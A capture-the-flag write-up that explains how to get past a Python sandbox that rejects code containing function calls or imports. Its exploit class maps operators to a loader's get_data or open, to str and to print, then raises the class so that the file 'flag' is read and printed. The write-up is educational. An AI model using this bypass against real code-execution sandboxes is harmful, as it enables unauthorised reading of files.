This challenge asks for python code as an input, converts it into an AST (abstract syntax tree) and if there aren’t any function calls or imports, executes the code.
Our goal here is to avoid explicitly calling any functions yet reading the flag located at flag
. We also can’t import any modules explicitly.
The source code provided with the challenge imports the sys
module giving us an opportunity to chain its functionalities.
To do so, we find all the modules in sys.modules
that have a get_data
like
function in their __loader__
attribute. We run the following locally:
import sys
for name, handle in sys.modules.items():
if loader := getattr(handle, '__loader__'):
for loader_function_name in dir(loader):
if 'get_data' in loader_function_name:
print(f"sys.modules['{name}'].__loader__.{loader_function_name}")
There are a lot of modules that have the get_data
From the output we get, this looks the most promising:
sys.modules["code"].__loader__.get_data
Now we can slowly assemble our exploit.
Note: To run this locally we must
import sys
We create a class called Read
that inherits from the BaseException
class.
class Read(BaseException):
We define the members of the class as the following:
Set the addition operator to the str
function to stringify bytes-like
objects.
__add__ = str
Set the division operator to os.loader.get_data method which can be used to read the raw bytes from a file.
__truediv__ = sys.modules["code"].__loader__.get_data
Set the indexing operator to print, which we’ll use to print the flag
__getitem__ = print
Now we need to detonate these operators without calling a function.
The best way is to define an __init__
constructor method that is called implicitly when the
class is created.
Through this, we read the raw bytes of the file “flag” stringify it and finally print it.
def __init__(self):
self[self + self / "flag"]
With all of that setup out of the way, we can instantiate the class by raising it as an exception.
raise Read
class Read(BaseException):
__add__ = str
__truediv__ = sys.modules["code"].__loader__.get_data
__getitem__ = print
def __init__(self):
self[self + self / "flag"]
raise Read
Update: 2025-09-15
I was lurking through my past writeups, here’s an even easier way to achieve the
same file read independent of the sys
module.
class Read(BaseException):
__add__ = list
__truediv__ = open
__getitem__ = print
def __init__(self):
self[self + self / "flag"]
raise Read